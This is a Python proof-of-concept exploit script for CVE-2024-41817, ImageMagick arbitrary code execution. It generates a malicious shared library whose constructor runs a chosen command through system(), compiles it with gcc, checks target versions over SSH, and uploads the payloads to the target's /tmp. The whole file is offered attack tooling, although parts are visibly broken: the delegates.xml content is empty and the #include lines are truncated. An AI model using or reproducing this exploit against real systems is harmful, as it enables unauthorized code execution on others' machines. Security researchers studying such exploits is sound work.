"""
Exploit Title : CVE-2024-41817 POC ImageMagick <= 7.1.1-35 Arbitrary Code Execution
Date : 2025-03-18
Source : https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8
Vulnerable version : <= 7.1.1-35
Author : Daihyxsk
Github: https://github.com/Dxsk/CVE-2024-41817-poc/
Tested on : Ubuntu 22.04.5 LTS
With: ImageMagick 7.1.1-35
CVE: CVE-2024-41817
Python version: 3.11
Python Requirements :
- Paramiko (only for auto detection and auto exploit)
Gcc version: >= 9.4.0
"""
from typing import Tuple
import re
import os
import time
import shutil
import argparse
from pathlib import Path
class ImageMagickExploit:
"""
Generate exploit payloads for the ImageMagick vulnerability.
Creates either a malicious delegates.xml file or a crafted library file
with the specified command to be executed on the target system.
"""
def __init__(self, cmd: str):
self.command: str = cmd
self.output_dir: Path = Path("out")
def create_out_dir(self) -> None:
"""Create output directory if it doesn't exist."""
if debug:
print(f"[!] Creating {self.output_dir} directory")
self.output_dir.mkdir(exist_ok=True)
def delegate_generator(self) -> None:
"""Generate a delegates.xml file with the command specified."""
content: str = f''
self.create_out_dir()
delegate_path = self.output_dir / "delegates.xml"
delegate_path.write_text(content)
if delegate_path.exists():
print(f"[!] Payload created in \"{delegate_path.absolute()}\"")
else:
print("[!] Error while creating payload")
exit(1)
def lib_generator(self) -> None:
"""Generate a libxcb.so file with the command specified."""
content: str = f"""#include
#include
#include
__attribute__((constructor)) void init(){{
system(\"{self.command}\");
exit(0);
}}
""".strip()
content = '\n'.join(line.lstrip() for line in content.splitlines())
self.create_out_dir()
lib_path = self.output_dir / "libxcb.so"
lib_path.write_text(content)
def build_payload(self) -> bool:
"""Compile the shared library with gcc using -shared and -fPIC options."""
if not shutil.which("gcc"):
print("[!] gcc not found in the attacker machine")
exit(1)
source_file = self.output_dir / "libxcb.so"
output_file = self.output_dir / "libxcb.so.1"
print("[*] Compiling shared library with gcc...")
compile_cmd = f"gcc -x c -shared -fPIC {source_file} -o {output_file}"
try:
if debug:
print(f"[*] Executing command: {compile_cmd}")
os.system(compile_cmd)
output_file.chmod(0o755)
if output_file.exists():
print(f"[+] Shared library successfully compiled: {output_file}")
output_file.rename(source_file)
print(f"[+] Shared library ready to use: {source_file}")
else:
print("[!] Failed to compile the shared library")
return False
return True
except Exception as e:
print(f"[!] Compilation error: {str(e)}")
return False
class SshConnection:
"""
Manage SSH connection to the target system.
Verifies if ImageMagick is vulnerable to the exploit
and can automatically deploy and execute the exploit.
"""
import paramiko
def __init__(
self,
host: str,
username: str,
password: str,
port: int,
):
self.host: str = host
self.port: int = port
self.username: str = username
self.password: str = password
self.ssh = None
def _paramiko_init(self) -> None:
"""Initialize the SSH client."""
if debug:
print("[*] Initializing paramiko")
self.ssh = self.paramiko.SSHClient()
self.ssh.set_missing_host_key_policy(self.paramiko.AutoAddPolicy())
def _exec_command(self, command: str) -> Tuple[str, str, str]:
"""Execute a command on the remote system."""
try:
stdin, stdout, stderr = self.ssh.exec_command(command, get_pty=True)
time.sleep(2)
output = stdout.read().decode()
error = stderr.read().decode()
except Exception as e:
print(f"[!] Unexpected error: {str(e)}")
if self.ssh:
self.ssh.close()
exit(1)
return (stdin, output, error)
def _whereis_magick(self, whereis_output: str) -> str:
"""Parse the output of 'whereis magick' to find ImageMagick path."""
if debug:
print("[*] Searching for ImageMagick")
if whereis_output and "magick:" in whereis_output:
paths = whereis_output.split("magick:")[1].strip().split()
if debug:
print(f"[*] Output of 'whereis magick': {paths}")
if len(paths) == 1:
print(f"[+] Path of ImageMagick: {paths[0]}")
return paths[0]
elif len(paths) > 1:
print("[!] Multiple paths for ImageMagick found, using the first one")
print(f"[*] Paths: {', '.join(paths)}")
return paths[0]
else:
print("[!] No valid path for ImageMagick was found")
self.ssh.close()
exit(1)
else:
print("[!] ImageMagick could not be located")
self.ssh.close()
exit(1)
def _check_version(self, output: str) -> None:
"""
Check if the ImageMagick version is vulnerable.
Parses version string like:
"Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org"
"""
version_match = re.search(r'ImageMagick (\d+)\.(\d+)\.(\d+)-(\d+)', output)
if not version_match:
print("[!] Error while checking ImageMagick version")
exit(1)
major, minor, patch, build = map(int, version_match.groups())
print(f"[+] ImageMagick version: {major}.{minor}.{patch}-{build}")
if major <= 7 and minor <= 1 and patch <= 1 and build <= 35:
print("[+] ImageMagick version is vulnerable")
else:
print("[!] ImageMagick version is not vulnerable")
def check_image_magick_version(self) -> None:
"""Connect to target and check if ImageMagick is vulnerable."""
magick: str = 'magick'
if debug:
print("[!] Checking ImageMagick version")
print(f"[*] Connecting to {self.host}:{self.port} as {self.username}")
self._paramiko_init()
try:
self.ssh.connect(
self.host,
self.port,
self.username,
self.password,
timeout=10,
banner_timeout=10,
auth_timeout=10
)
except self.paramiko.AuthenticationException:
print("[!] Authentication failed. Please check your credentials.")
exit(1)
except self.paramiko.SSHException as e:
print(f"[!] SSH error: {e}")
exit(1)
except Exception as e:
print(f"[!] Connection error: {e}")
exit(1)
if debug:
print("[*] Connected successfully, executing command")
while True:
stdin, output, error = self._exec_command(f"{magick} --version")
if error:
print("[!] Error while checking ImageMagick version")
print(f"[!] Error details: {error}")
self.ssh.close()
exit(1)
if not output:
print("[!] No output received from command")
self.ssh.close()
exit(1)
if "command not found" in output or "command not found" in error:
print("[!] The 'magick' command was not found")
print("[*] Attempting to locate ImageMagick with 'whereis'...")
stdin, output, error = self._exec_command("whereis magick")
magick = self._whereis_magick(output)
else:
self.ssh.close()
self._check_version(output)
break
def send_payload(self) -> bool:
"""Send the generated payloads to the /tmp/ directory of the target machine."""
self._paramiko_init()
try:
if debug:
print("[*] Creating an SFTP connection")
self.ssh.connect(
self.host,
self.port,
self.username,
self.password,
timeout=10,
banner_timeout=10,
auth_timeout=10
)
sftp = self.ssh.open_sftp()
# Check files to send
out_dir = Path("out")
payload_files = [f for f in out_dir.iterdir() if f.is_file()]
if debug:
print(f"[*] Payload files: {payload_files}")
if not payload_files:
print("[!] No payload found in the ./out/ directory")
return False
# Send each file
for file_path in payload_files:
remote_path = f"/tmp/{file_path.name}"
if debug:
print(f"[*] Sending {file_path} to {remote_path}")
sftp.put(str(file_path), remote_path)
# Verify file was successfully sent
stdin, output, error = self._exec_command(f"ls -la {remote_path}")
if debug:
print(f"[*] Output of 'ls -la {remote_path}': \n{output}\r")
if file_path.name in output:
print(f"[+] Payload {file_path.name} successfully sent to /tmp/")
else:
print(f"[!] Failed to send payload {file_path.name}")
sftp.close()
return True
except Exception as e:
print(f"[!] Error while sending payloads: {str(e)}")
return False
class ArgParser:
"""
Parse command line arguments for the ImageMagick exploit.
This script exploits CVE-2024-41817 in ImageMagick versions <= 7.1.1-35
allowing arbitrary code execution via malicious XML delegation.
Usage examples:
# Autodetect:
python3 exploit.py -H $TARGET -p $PORT -u $USER -P $PASSWORD -d
# Build payload:
python3 exploit.py -c "id" -B
# Full (detecte, build and push):
python3 exploit.py -c "id" -H $TARGET -p $PORT -u $USER -P $PASSWORD -A
"""
def __init__(self):
self.parser = argparse.ArgumentParser(description="ImageMagick Exploit")
self.parser.add_argument("-c", "--command", type=str, help="Command to execute")
self.parser.add_argument("-H", "--host", type=str, help="Host")
self.parser.add_argument("-p", "--port", type=int, help="Port (default port 22)")
self.parser.add_argument("-u", "--username", type=str, help="Username")
self.parser.add_argument("-P", "--password", type=str, help="Password")
self.parser.add_argument("-d", "--detection", action="store_true", help="Auto-detect ImageMagick if vulnerable")
self.parser.add_argument("-B", "--build", action="store_true", help="Only build the payload with the command specified")
self.parser.add_argument("-A", "--auto", action="store_true", help="Check, Build and Push the payload to the target")
self.parser.add_argument("-v", "--verbose", action="store_true", help="Verbose mode to display more information during execution")
self.args = self.parser.parse_args()
def get_args(self):
return self.args
def check_port(args) -> int:
"""Return valid port or default to 22."""
if args.port is None:
if debug:
print("[!] Default ssh port used (22)")
return 22
return args.port
def check_command(args) -> str:
"""Return valid command or default to 'id'."""
if args.command is None:
if debug:
print("[*] No command specified, using 'id' as default")
return "id"
return args.command
def build(args) -> None:
"""Build the payload with the specified command."""
print("[!] Building payload")
command = check_command(args)
exploit = ImageMagickExploit(command)
exploit.delegate_generator()
exploit.lib_generator()
exploit.build_payload()
def detection(args) -> None:
"""Check if target is vulnerable to the exploit."""
if debug:
print("[*] Host, username and password:")
print("[*]", args.host, args.username[:3] + '...', args.password[-3:] + '...')
if not args.host or not args.username or not args.password:
print("[!] Host, username and password are required for auto detection")
exit(1)
port = check_port(args)
ssh = SshConnection(
host=args.host,
port=port,
username=args.username,
password=args.password
)
ssh.check_image_magick_version()
def auto(args) -> None:
"""Run detection, build payload, and deploy to target."""
print("[!] Auto mode")
if debug:
print("[!] Starting detection")
detection(args)
if debug:
print("[!] Starting build")
build(args)
if debug:
print("[!] Starting push")
port = check_port(args)
ssh = SshConnection(
host=args.host,
port=port,
username=args.username,
password=args.password
)
if debug:
print("[!] Sending payload")
ssh.send_payload()
def main() -> None:
global debug
debug = False
arg_parser = ArgParser()
helper = arg_parser.__doc__
args = arg_parser.get_args()
if args.verbose:
print("[Debug] enabled")
debug = True
if args.build:
print("[!] Mode build only")
build(args)
elif args.detection:
print("[!] Mode detection only")
detection(args)
elif args.auto:
print("[!] Mode auto, detection, build and push the payload to the target")
if not args.host or not args.username or not args.password:
print("[!] Host, username and password are required for auto detection")
exit(1)
auto(args)
else:
print(helper)
if __name__ == "__main__":
main()